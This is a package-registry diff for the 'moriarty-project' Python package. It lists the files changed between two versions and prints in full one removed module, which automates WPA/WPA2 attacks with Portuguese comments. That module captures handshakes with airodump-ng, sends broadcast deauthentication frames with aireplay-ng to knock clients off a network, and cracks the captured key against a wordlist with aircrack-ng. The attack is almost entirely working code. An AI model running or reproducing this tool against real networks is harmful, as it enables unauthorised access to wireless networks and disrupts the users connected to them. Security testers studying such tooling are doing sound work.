moriarty-project 0.1.22__py3-none-any.whl → 0.1.24__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +4 -3
- moriarty/cli/domain_cmd.py +5 -1
- moriarty/modules/directory_fuzzer.py +25 -5
- moriarty/modules/web_crawler.py +448 -91
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/METADATA +3 -3
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/RECORD +9 -27
- moriarty/modules/wifippler/__init__.py +0 -92
- moriarty/modules/wifippler/cli/__init__.py +0 -8
- moriarty/modules/wifippler/cli/commands.py +0 -123
- moriarty/modules/wifippler/core/__init__.py +0 -94
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -240
- moriarty/modules/wifippler/core/scanner.py +0 -903
- moriarty/modules/wifippler/core/utils/__init__.py +0 -624
- moriarty/modules/wifippler/core/utils/exec.py +0 -182
- moriarty/modules/wifippler/core/utils/network.py +0 -262
- moriarty/modules/wifippler/core/utils/system.py +0 -153
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/entry_points.txt +0 -0
@@ -1,446 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque WPA/WPA2 Handshake.
|
3
|
-
|
4
|
-
Este módulo implementa ataques contra redes WPA/WPA2, incluindo:
|
5
|
-
- Captura de handshake WPA/WPA2
|
6
|
-
- Ataque de dicionário
|
7
|
-
- Ataque de força bruta
|
8
|
-
"""
|
9
|
-
import os
|
10
|
-
import re
|
11
|
-
import time
|
12
|
-
import logging
|
13
|
-
import subprocess
|
14
|
-
import tempfile
|
15
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable
|
16
|
-
from dataclasses import dataclass, field
|
17
|
-
from enum import Enum, auto
|
18
|
-
|
19
|
-
from rich.console import Console
|
20
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
|
21
|
-
|
22
|
-
from ...core.models.network import WiFiNetwork, WiFiClient
|
23
|
-
from ...core.utils import (
|
24
|
-
is_root, check_dependencies, get_network_interfaces,
|
25
|
-
set_monitor_mode, restore_network_interface, command_exists
|
26
|
-
)
|
27
|
-
|
28
|
-
# Configuração de logging
|
29
|
-
logging.basicConfig(level=logging.INFO)
|
30
|
-
logger = logging.getLogger(__name__)
|
31
|
-
console = Console()
|
32
|
-
|
33
|
-
class WPAEventType(Enum):
|
34
|
-
"""Tipos de eventos do ataque WPA."""
|
35
|
-
START = auto()
|
36
|
-
HANDSHAKE_CAPTURED = auto()
|
37
|
-
CRACK_SUCCESS = auto()
|
38
|
-
CRACK_FAILED = auto()
|
39
|
-
DEAUTH_SENT = auto()
|
40
|
-
ERROR = auto()
|
41
|
-
PROGRESS = auto()
|
42
|
-
COMPLETE = auto()
|
43
|
-
|
44
|
-
@dataclass
|
45
|
-
class WPAEvent:
|
46
|
-
"""Evento de progresso do ataque WPA."""
|
47
|
-
type: WPAEventType
|
48
|
-
message: str = ""
|
49
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
50
|
-
|
51
|
-
class WPAHandshakeAttack:
|
52
|
-
"""Classe para realizar ataques WPA/WPA2 Handshake."""
|
53
|
-
|
54
|
-
def __init__(self, interface: str = None, timeout: int = 300):
|
55
|
-
"""
|
56
|
-
Inicializa o ataque WPA Handshake.
|
57
|
-
|
58
|
-
Args:
|
59
|
-
interface: Interface de rede para usar no ataque
|
60
|
-
timeout: Tempo máximo de execução em segundos
|
61
|
-
"""
|
62
|
-
self.interface = interface
|
63
|
-
self.timeout = timeout
|
64
|
-
self.is_running = False
|
65
|
-
self.stop_requested = False
|
66
|
-
self.handshake_captured = False
|
67
|
-
self.handshake_file = ""
|
68
|
-
self.psk = ""
|
69
|
-
|
70
|
-
# Verifica dependências
|
71
|
-
self._check_dependencies()
|
72
|
-
|
73
|
-
# Verifica privilégios
|
74
|
-
if not is_root():
|
75
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
76
|
-
|
77
|
-
def _check_dependencies(self) -> None:
|
78
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
79
|
-
required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng', 'tshark']
|
80
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
81
|
-
|
82
|
-
if missing:
|
83
|
-
raise RuntimeError(
|
84
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
85
|
-
"Instale-as com: sudo apt install aircrack-ng tshark"
|
86
|
-
)
|
87
|
-
|
88
|
-
def capture_handshake(self, bssid: str, essid: str, channel: int,
|
89
|
-
output_prefix: str = "handshake",
|
90
|
-
deauth: bool = True,
|
91
|
-
deauth_count: int = 5,
|
92
|
-
callback: Callable[[WPAEvent], None] = None) -> Tuple[bool, str]:
|
93
|
-
"""
|
94
|
-
Captura o handshake WPA/WPA2 de uma rede.
|
95
|
-
|
96
|
-
Args:
|
97
|
-
bssid: Endereço MAC do ponto de acesso
|
98
|
-
essid: Nome da rede (ESSID)
|
99
|
-
channel: Canal da rede
|
100
|
-
output_prefix: Prefixo para os arquivos de saída
|
101
|
-
deauth: Se deve enviar pacotes de desautenticação
|
102
|
-
deauth_count: Número de pacotes de desautenticação a enviar
|
103
|
-
callback: Função de callback para eventos
|
104
|
-
|
105
|
-
Returns:
|
106
|
-
Tupla (sucesso, caminho_do_arquivo_capturado)
|
107
|
-
"""
|
108
|
-
self.is_running = True
|
109
|
-
self.stop_requested = False
|
110
|
-
self.handshake_captured = False
|
111
|
-
self.handshake_file = ""
|
112
|
-
|
113
|
-
# Configura o monitoramento de eventos
|
114
|
-
def event_handler(event_type: WPAEventType, message: str = "", **kwargs):
|
115
|
-
if callback:
|
116
|
-
event = WPAEvent(type=event_type, message=message, data=kwargs)
|
117
|
-
callback(event)
|
118
|
-
|
119
|
-
# Cria um diretório temporário para os arquivos
|
120
|
-
with tempfile.TemporaryDirectory() as temp_dir:
|
121
|
-
try:
|
122
|
-
output_file = os.path.join(temp_dir, output_prefix)
|
123
|
-
|
124
|
-
# Inicia o airodump-ng para capturar o handshake
|
125
|
-
cmd_airodump = [
|
126
|
-
'airodump-ng',
|
127
|
-
'--bssid', bssid,
|
128
|
-
'-c', str(channel),
|
129
|
-
'-w', output_file,
|
130
|
-
'--output-format', 'cap,pcap',
|
131
|
-
self.interface
|
132
|
-
]
|
133
|
-
|
134
|
-
event_handler(WPAEventType.START, "Iniciando captura do handshake...")
|
135
|
-
|
136
|
-
# Executa o airodump-ng em segundo plano
|
137
|
-
airodump_proc = subprocess.Popen(
|
138
|
-
cmd_airodump,
|
139
|
-
stdout=subprocess.PIPE,
|
140
|
-
stderr=subprocess.PIPE,
|
141
|
-
universal_newlines=True
|
142
|
-
)
|
143
|
-
|
144
|
-
# Se solicitado, envia pacotes de desautenticação
|
145
|
-
if deauth:
|
146
|
-
self._send_deauth(bssid, count=deauth_count, callback=event_handler)
|
147
|
-
|
148
|
-
# Monitora a saída do airodump-ng
|
149
|
-
start_time = time.time()
|
150
|
-
handshake_file = f"{output_file}-01.cap"
|
151
|
-
|
152
|
-
with Progress(
|
153
|
-
SpinnerColumn(),
|
154
|
-
TextColumn("[progress.description]{task.description}"),
|
155
|
-
BarColumn(bar_width=40),
|
156
|
-
"[progress.percentage]{task.percentage:>3.0f}%",
|
157
|
-
TimeElapsedColumn(),
|
158
|
-
console=console,
|
159
|
-
transient=True,
|
160
|
-
) as progress:
|
161
|
-
task = progress.add_task("Aguardando handshake WPA...", total=100)
|
162
|
-
|
163
|
-
while True:
|
164
|
-
# Verifica timeout
|
165
|
-
if time.time() - start_time > self.timeout:
|
166
|
-
event_handler(
|
167
|
-
WPAEventType.ERROR,
|
168
|
-
"Tempo limite excedido na captura do handshake"
|
169
|
-
)
|
170
|
-
airodump_proc.terminate()
|
171
|
-
return False, ""
|
172
|
-
|
173
|
-
# Verifica se foi solicitado para parar
|
174
|
-
if self.stop_requested:
|
175
|
-
event_handler(
|
176
|
-
WPAEventType.ERROR,
|
177
|
-
"Captura interrompida pelo usuário"
|
178
|
-
)
|
179
|
-
airodump_proc.terminate()
|
180
|
-
return False, ""
|
181
|
-
|
182
|
-
# Verifica se o arquivo de captura existe
|
183
|
-
if os.path.exists(handshake_file):
|
184
|
-
# Verifica se o handshake foi capturado
|
185
|
-
if self._check_handshake(handshake_file, bssid):
|
186
|
-
self.handshake_captured = True
|
187
|
-
self.handshake_file = handshake_file
|
188
|
-
event_handler(
|
189
|
-
WPAEventType.HANDSHAKE_CAPTURED,
|
190
|
-
"Handshake capturado com sucesso!",
|
191
|
-
handshake_file=handshake_file
|
192
|
-
)
|
193
|
-
airodump_proc.terminate()
|
194
|
-
return True, handshake_file
|
195
|
-
|
196
|
-
# Atualiza a barra de progresso
|
197
|
-
elapsed = time.time() - start_time
|
198
|
-
progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
|
199
|
-
|
200
|
-
# Aguarda um pouco antes da próxima verificação
|
201
|
-
time.sleep(1)
|
202
|
-
|
203
|
-
except Exception as e:
|
204
|
-
event_handler(
|
205
|
-
WPAEventType.ERROR,
|
206
|
-
f"Erro durante a captura do handshake: {str(e)}"
|
207
|
-
)
|
208
|
-
return False, ""
|
209
|
-
|
210
|
-
finally:
|
211
|
-
self.is_running = False
|
212
|
-
# Encerra processos em execução
|
213
|
-
try:
|
214
|
-
airodump_proc.terminate()
|
215
|
-
except:
|
216
|
-
pass
|
217
|
-
|
218
|
-
def _send_deauth(self, bssid: str, count: int = 5,
|
219
|
-
reason: int = 7, client: str = "ff:ff:ff:ff:ff:ff",
|
220
|
-
callback: Callable[[WPAEvent], None] = None) -> bool:
|
221
|
-
"""
|
222
|
-
Envia pacotes de desautenticação para forçar um handshake.
|
223
|
-
|
224
|
-
Args:
|
225
|
-
bssid: Endereço MAC do ponto de acesso
|
226
|
-
count: Número de pacotes a enviar
|
227
|
-
reason: Código de motivo da desautenticação
|
228
|
-
client: Endereço MAC do cliente (padrão: broadcast)
|
229
|
-
callback: Função de callback para eventos
|
230
|
-
|
231
|
-
Returns:
|
232
|
-
True se os pacotes foram enviados com sucesso, False caso contrário
|
233
|
-
"""
|
234
|
-
try:
|
235
|
-
cmd = [
|
236
|
-
'aireplay-ng',
|
237
|
-
'--deauth', str(count),
|
238
|
-
'-a', bssid,
|
239
|
-
'-c', client,
|
240
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
241
|
-
'--ignore-negative-one',
|
242
|
-
self.interface
|
243
|
-
]
|
244
|
-
|
245
|
-
if callback:
|
246
|
-
event = WPAEvent(
|
247
|
-
type=WPAEventType.DEAUTH_SENT,
|
248
|
-
message=f"Enviando {count} pacotes de desautenticação...",
|
249
|
-
data={'bssid': bssid, 'client': client, 'count': count}
|
250
|
-
)
|
251
|
-
callback(event)
|
252
|
-
|
253
|
-
subprocess.run(cmd, capture_output=True, check=True)
|
254
|
-
return True
|
255
|
-
|
256
|
-
except subprocess.CalledProcessError as e:
|
257
|
-
if callback:
|
258
|
-
event = WPAEvent(
|
259
|
-
type=WPAEventType.ERROR,
|
260
|
-
message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
|
261
|
-
data={'error': str(e)}
|
262
|
-
)
|
263
|
-
callback(event)
|
264
|
-
return False
|
265
|
-
|
266
|
-
def _check_handshake(self, cap_file: str, bssid: str) -> bool:
|
267
|
-
"""
|
268
|
-
Verifica se um arquivo de captura contém um handshake WPA válido.
|
269
|
-
|
270
|
-
Args:
|
271
|
-
cap_file: Caminho para o arquivo de captura
|
272
|
-
bssid: Endereço MAC do ponto de acesso
|
273
|
-
|
274
|
-
Returns:
|
275
|
-
True se o handshake for válido, False caso contrário
|
276
|
-
"""
|
277
|
-
try:
|
278
|
-
# Usa o aircrack-ng para verificar o handshake
|
279
|
-
cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
|
280
|
-
result = subprocess.run(cmd, capture_output=True, text=True)
|
281
|
-
|
282
|
-
# Verifica a saída para determinar se há um handshake válido
|
283
|
-
return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
|
284
|
-
|
285
|
-
except Exception as e:
|
286
|
-
logger.error(f"Erro ao verificar handshake: {e}")
|
287
|
-
return False
|
288
|
-
|
289
|
-
def crack_handshake(self, handshake_file: str, wordlist: str,
|
290
|
-
bssid: str = "", essid: str = "",
|
291
|
-
callback: Callable[[WPAEvent], None] = None) -> Tuple[bool, str]:
|
292
|
-
"""
|
293
|
-
Tenta quebrar um handshake WPA/WPA2 usando um dicionário.
|
294
|
-
|
295
|
-
Args:
|
296
|
-
handshake_file: Caminho para o arquivo de handshake (.cap)
|
297
|
-
wordlist: Caminho para o arquivo de wordlist
|
298
|
-
bssid: Endereço MAC do ponto de acesso (opcional)
|
299
|
-
essid: Nome da rede (opcional)
|
300
|
-
callback: Função de callback para eventos
|
301
|
-
|
302
|
-
Returns:
|
303
|
-
Tupla (sucesso, senha)
|
304
|
-
"""
|
305
|
-
if not os.path.exists(handshake_file):
|
306
|
-
if callback:
|
307
|
-
event = WPAEvent(
|
308
|
-
type=WPAEventType.ERROR,
|
309
|
-
message=f"Arquivo de handshake não encontrado: {handshake_file}",
|
310
|
-
data={'handshake_file': handshake_file}
|
311
|
-
)
|
312
|
-
callback(event)
|
313
|
-
return False, ""
|
314
|
-
|
315
|
-
if not os.path.exists(wordlist):
|
316
|
-
if callback:
|
317
|
-
event = WPAEvent(
|
318
|
-
type=WPAEventType.ERROR,
|
319
|
-
message=f"Arquivo de wordlist não encontrado: {wordlist}",
|
320
|
-
data={'wordlist': wordlist}
|
321
|
-
)
|
322
|
-
callback(event)
|
323
|
-
return False, ""
|
324
|
-
|
325
|
-
self.is_running = True
|
326
|
-
self.stop_requested = False
|
327
|
-
self.psk = ""
|
328
|
-
|
329
|
-
# Configura o monitoramento de eventos
|
330
|
-
def event_handler(event_type: WPAEventType, message: str = "", **kwargs):
|
331
|
-
if callback:
|
332
|
-
event = WPAEvent(type=event_type, message=message, data=kwargs)
|
333
|
-
callback(event)
|
334
|
-
|
335
|
-
try:
|
336
|
-
# Comando para quebrar o handshake
|
337
|
-
cmd = [
|
338
|
-
'aircrack-ng',
|
339
|
-
handshake_file,
|
340
|
-
'-w', wordlist,
|
341
|
-
'-l', os.path.join(os.path.dirname(handshake_file), 'cracked.txt')
|
342
|
-
]
|
343
|
-
|
344
|
-
if bssid:
|
345
|
-
cmd.extend(['-b', bssid])
|
346
|
-
|
347
|
-
if essid:
|
348
|
-
cmd.extend(['-e', f'"{essid}"'])
|
349
|
-
|
350
|
-
event_handler(WPAEventType.START, "Iniciando quebra do handshake...")
|
351
|
-
|
352
|
-
# Executa o aircrack-ng
|
353
|
-
process = subprocess.Popen(
|
354
|
-
cmd,
|
355
|
-
stdout=subprocess.PIPE,
|
356
|
-
stderr=subprocess.PIPE,
|
357
|
-
universal_newlines=True
|
358
|
-
)
|
359
|
-
|
360
|
-
# Monitora a saída
|
361
|
-
key_found = False
|
362
|
-
key_pattern = re.compile(r'KEY FOUND! \[ ([^\]]+) \]')
|
363
|
-
progress_pattern = re.compile(r'(\d+)/(\d+) keys tested \((\d+\.\d+)\s*([kMG]?)\s*keys/s\)')
|
364
|
-
|
365
|
-
while True:
|
366
|
-
# Verifica se foi solicitado para parar
|
367
|
-
if self.stop_requested:
|
368
|
-
process.terminate()
|
369
|
-
event_handler(
|
370
|
-
WPAEventType.ERROR,
|
371
|
-
"Quebra de senha interrompida pelo usuário"
|
372
|
-
)
|
373
|
-
return False, ""
|
374
|
-
|
375
|
-
# Lê a saída
|
376
|
-
line = process.stdout.readline()
|
377
|
-
if not line and process.poll() is not None:
|
378
|
-
break
|
379
|
-
|
380
|
-
if line:
|
381
|
-
# Verifica se encontrou a chave
|
382
|
-
key_match = key_pattern.search(line)
|
383
|
-
if key_match:
|
384
|
-
self.psk = key_match.group(1)
|
385
|
-
key_found = True
|
386
|
-
event_handler(
|
387
|
-
WPAEventType.CRACK_SUCCESS,
|
388
|
-
f"Senha encontrada: {self.psk}",
|
389
|
-
psk=self.psk
|
390
|
-
)
|
391
|
-
process.terminate()
|
392
|
-
return True, self.psk
|
393
|
-
|
394
|
-
# Verifica o progresso
|
395
|
-
progress_match = progress_pattern.search(line)
|
396
|
-
if progress_match:
|
397
|
-
current = int(progress_match.group(1))
|
398
|
-
total = int(progress_match.group(2))
|
399
|
-
speed = float(progress_match.group(3))
|
400
|
-
unit = progress_match.group(4)
|
401
|
-
|
402
|
-
# Converte a velocidade para keys/s
|
403
|
-
if unit == 'k':
|
404
|
-
speed *= 1000
|
405
|
-
elif unit == 'M':
|
406
|
-
speed *= 1000000
|
407
|
-
elif unit == 'G':
|
408
|
-
speed *= 1000000000
|
409
|
-
|
410
|
-
# Calcula o progresso
|
411
|
-
progress = (current / total) * 100 if total > 0 else 0
|
412
|
-
|
413
|
-
event_handler(
|
414
|
-
WPAEventType.PROGRESS,
|
415
|
-
f"Progresso: {progress:.2f}% - {speed:,.0f} senhas/segundo",
|
416
|
-
progress=progress,
|
417
|
-
current=current,
|
418
|
-
total=total,
|
419
|
-
speed=speed
|
420
|
-
)
|
421
|
-
|
422
|
-
# Aguarda um pouco antes da próxima verificação
|
423
|
-
time.sleep(0.1)
|
424
|
-
|
425
|
-
# Verifica se o processo terminou com sucesso
|
426
|
-
if process.poll() == 0 and not key_found:
|
427
|
-
event_handler(
|
428
|
-
WPAEventType.CRACK_FAILED,
|
429
|
-
"Senha não encontrada na wordlist fornecida"
|
430
|
-
)
|
431
|
-
|
432
|
-
return key_found, self.psk if key_found else ""
|
433
|
-
|
434
|
-
except Exception as e:
|
435
|
-
event_handler(
|
436
|
-
WPAEventType.ERROR,
|
437
|
-
f"Erro durante a quebra do handshake: {str(e)}"
|
438
|
-
)
|
439
|
-
return False, ""
|
440
|
-
|
441
|
-
finally:
|
442
|
-
self.is_running = False
|
443
|
-
|
444
|
-
def stop(self):
|
445
|
-
"""Solicita a interrupção do ataque."""
|
446
|
-
self.stop_requested = True
|